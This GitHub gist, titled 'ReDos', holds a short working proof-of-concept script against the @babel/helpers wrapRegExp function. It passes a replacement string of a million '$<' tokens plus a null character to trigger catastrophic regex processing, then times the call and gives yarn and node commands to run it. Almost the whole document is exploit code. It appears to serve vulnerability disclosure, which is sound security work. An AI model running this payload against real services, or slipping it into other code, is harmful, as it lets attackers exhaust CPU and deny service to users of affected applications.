Created
February 25, 2025 07:11
-
-
Save mmmsssttt404/1f066ed9237f514714f2cc022d631838 to your computer and use it in GitHub Desktop.
ReDos
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//poc.mjs | |
import wrapRegExpImport from "./node_modules/@babel/helpers/lib/helpers/wrapRegExp.js"; | |
const wrapRegExp = wrapRegExpImport.default || wrapRegExpImport; | |
// 记录开始时间 | |
let startTime = performance.now(); | |
const pattern = "(foo)"; | |
const groups = { "\u0000": 1 }; | |
const myRegExp = wrapRegExp(pattern, groups); | |
const targetStr = "foofoo"; | |
let str = "$<".repeat(1000000) + "\u0000"; | |
const result = myRegExp[Symbol.replace](targetStr, str); | |
console.log(result); | |
// 记录结束时间 | |
let endTime = performance.now(); | |
// 计算耗时 | |
let timeTaken = endTime - startTime; | |
console.log(`匹配耗时: ${timeTaken.toFixed(3)} 毫秒`); | |
//1.yarn add @babel/core | |
//2.node poc.mjs |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment